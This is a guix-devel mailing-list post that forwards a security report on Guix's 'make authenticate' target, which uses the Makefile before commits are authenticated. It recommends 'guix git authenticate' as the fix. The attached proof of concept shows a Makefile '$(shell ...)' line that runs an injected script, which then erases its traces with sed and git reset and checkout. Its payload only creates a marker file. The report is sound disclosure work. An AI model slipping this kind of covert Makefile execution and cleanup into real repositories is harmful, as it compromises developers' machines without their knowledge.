Potential security issue with make authenticate and mitigation

[John Kehayias <john.kehayias@protonmail.com>]

[-- Attachment #1: Type: text/plain, Size: 3312 bytes --]

Hi Guix-ers,

Please see the below message (and attached report for further details)
of a potential security issue and mitigation in Guix, from Skyler
Ferris. The very short version: 'make authenticate' is a potential
attack vector, which can be mitigated by using 'guix git authenticate'
in a development workflow.

This was raised to guix-security some months ago, but unfortunately
went through various stalls and got lost for a bit. My apologies to
Skyler and thanks for their patience. At least one other person on
guix-security also recommended we open this up for public comment,
which I agree would be good as we can discuss the potential workflow
and documentation changes quickly and transparently.

Please also see the proposed changes to make 'guix git authenticate'
easier to use, which could also help make easier to use in the Guix
workflow: <https://issues.guix.gnu.org/69780>

(As an aside, some new members for guix-security would be helpful. I'm
happy to continue but will be away for about a month soon.)

From Skyler, lightly edited for formatting:

In 2020, the "guix git authenticate" tool was added in order to secure
updates (1). This protection is still intact! The tool also had the
secondary effect of protecting developers against malicious commits
while we are developing. In fact, the manual currently recommends that
all developers run "make authenticate" after every pull for this
purpose (2).

Unfortunately, it turns out that "make authenticate" can itself be
used as an attack vector. The core of the problem is that "make
authenticate" uses the Makefile before the commits have been
authenticated, allowing an attacker to replace the Makefile with a
malicious version. The attacker would need the ability to inject the
malicious commit into the data you pull: for example, by compromising
the Savannah server or poisoning a DNS cache. The attached report
contains full details and a proof of concept.

Fortunately, preventing this problem is fairly straightforward:
instead of running "make authenticate", run "guix git authenticate"
manually. This will detect the malicious commit before the Makefile is
used, alerting you to the problem. As a first step towards a long-term
solution we can stop recommending the use of "make authenticate" in
the manual. We would like to remove the "authenticate" target entirely
because it is easy to misuse. However, this could break existing
workflows. Hopefully this is trivial to solve by running the tool
manually as mentioned above but maybe there are some situations we
have not considered - let us know! We are also aware that the
post-push hook installed by Guix runs "make authenticate". However,
this is only done as a reminder to the developer to avoid breaking
"guix pull"; it is not done for the developer's security. The
post-push hook can be changed to use "guix git authenticate" instead
of "make authenticate" in the same set of patches to avoid breaking
anything.

(1) <https://guix.gnu.org/en/blog/2020/securing-updates/>

(2) <https://guix.gnu.org/manual/devel/en/html_node/Building-from-Git.html>

Thanks everyone!
John

(Apologies is this went through to some people, but I only realized
days later it wasn't sent to the correct guix-devel address.)

[-- Attachment #2: security-report.md --]
[-- Type: application/octet-stream, Size: 3962 bytes --]

# Overview
An attacker who has control of Savannah, or the ability to intercept and modify data in
flight, and knowledge of the target's checkout location can achieve arbitrary code
execution on a developer's machine.

The attacker would do this by adding a malicious commit when sending updates to the
developer (note that the attacker could add this commit as the data is being sent out, so
does not need to modify the git repository on-disk). In my proof of concept, the commit
removes `Makefile` from `.gitignore`, adds malicious code to the `Makefile`, and cleans
itself up after it runs. There might be a sneakier way to do this.

# Remediation

Remove the `authenticate` target from the `Makefile` and run `guix git authenticate`
externally after pulling.

# Limitations
When pulling git reports that the Makefile has been added, with a large number of lines
added. Depending on the attentiveness of the developer and the number of commits they are
pulling (eg, the amount of visual noise on the screen), this could cause the developer
to be suspicious. There could also be a sneakier way to do this. I modified the Makefile
directly because it was convenient. The PoC is just to demonstrate technical feasibility,
not to implement a realistic attack.

Even with the limitations of the Makefile, the possibility of human error still makes this
form of the attack concerning in my view. Running `guix git authenticate` externally
eliminates the possibility that human error will cause an attack to be successful, and
does not require much effort to implement.

If the attacker does use the Makefile, they will need to know the path to the repository
on the developer's machine because it is hardcoded into variable definitions, such as the
AUTOCONF variable on line 1601 (on my machine). While repeated in multiple places, this is
the only unique piece of data which I noticed that was machine-specific. However, my
review of the Makefile was brief and I have no experience writing autotools scripts, so I
might be overlooking something.

# Proof of Concept

## Setup

Create 2 copies of your guix checkout for use in the demonstration:

```
cp /path/to/guix /tmp/malicious-guix
cp /path/to/guix /tmp/target-guix
```

## Prepare the malicious commit

(note that I am not providing the malicious commit as a diff because this would not work
on your machine)

Then, in `/tmp/malicious-guix`, add a file with the following contents:

```
echo Here, the attacker installs a backdoor or does something else malicious.
touch /tmp/malicious-artifact
echo Next, they revert the changes that the commit made.
# Adjust the gitignore so that Makefile doesn't get deleted, and remove the evidence from
# Makefile manually.
sed -i 's/#Makefile/Makefile/' .gitignore
sed -i 's/UNUSED_VARIABLE.*//' Makefile
git reset --soft HEAD^ >/dev/null 2>/dev/null
git restore --staged . >/dev/null 2>/dev/null
git checkout .         >/dev/null 2>/dev/null
rm malicious-script.sh >/dev/null 2>/dev/null
echo Now, there is no indication that an attack occurred, except for any artifacts that the payload left behind.
```

Comment out `Makefile` in `.gitignore` and add the following line to `Makefile`:

`UNUSED_VARIABLE := $(shell /bin/sh malicious-script.sh)`

Add them to a new commit (note that there will be a couple of other `Makefile`s which are
picked up by `git`, but only the top-level `Makefile` is required for the PoC to work).

```
git add Makefile .gitignore malicious-script.sh
git commit -m "MALICIOUS COMMIT DO NOT USE"
```

## Trigger the attack

Now, pull the malicious commit and try to authenticate it.

```
cd /tmp/target-guix
git pull ../malicious-guix
guix shell -D guix guix make --pure -- make authenticate
```

The output will look like normal `make authenticate` output. `git log` will only show the
real commits and `git status` will not show any changes to the local filesystem. However,
the script will create the empty file `/tmp/malicious-artifact`